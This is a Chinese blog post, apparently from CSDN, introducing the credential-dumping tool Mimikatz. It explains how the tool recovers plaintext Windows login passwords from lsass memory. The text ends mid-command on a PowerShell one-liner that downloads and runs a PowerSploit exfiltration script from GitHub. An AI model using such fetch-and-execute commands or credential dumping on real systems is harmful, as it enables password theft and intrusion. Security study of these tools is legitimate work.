mimikatz使用方法

最新推荐文章于 2024-08-07 09:45:00 发布

小韩韩啊

最新推荐文章于 2024-08-07 09:45:00 发布

阅读量3.8k

点赞数

分类专栏：杂七杂八文章标签： mimikatz

本文链接：https://blog.csdn.net/wuguojiuai/article/details/124366270

版权

本文详细介绍了如何使用Mimikatz这个工具来获取Windows系统的本地账户密码、通过Procdump配合Mimikatz读取域控中的域成员Hash。文章提到了针对不同系统版本和安全策略的应对方法，并提供了具体的命令行操作步骤。

摘要由CSDN通过智能技术生成

0x00 简介

Mimikatz 是一款功能强大的轻量级调试神器，通过它你可以提升进程权限注入进程读取进程内存，当然他最大的亮点就是他可以直接从 lsass.exe 进程中获取当前登录系统用户名的密码， lsass 是微软 Windows 系统的安全机制它主要用于本地安全和登陆策略，通常我们在登陆系统时输入密码之后，密码便会储存在 lsass 内存中，经过其 wdigest 和 tspkg 两个模块调用后，对其使用可逆的算法进行加密并存储在内存之中，而 mimikatz 正是通过对 lsass 逆算获取到明文密码！也就是说只要你不重启电脑，就可以通过他获取到登陆密码，只限当前登陆系统！

注：但是在安装了 KB2871997 补丁或者系统版本大于 windows server 2012 时，系统的内存中就不再保存明文的密码，这样利用 mimikatz 就不能从内存中读出明文密码了。mimikatz 的使用需要 administrator 用户执行，administrators 中的其他用户都不行。

这里放几个神器的运行姿势：九种姿势运行：Mimikatz：九种姿势运行Mimikatz - FreeBuf网络安全行业门户

借用 PowerShell

#读取密码明文(需要管理员权限)
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Inv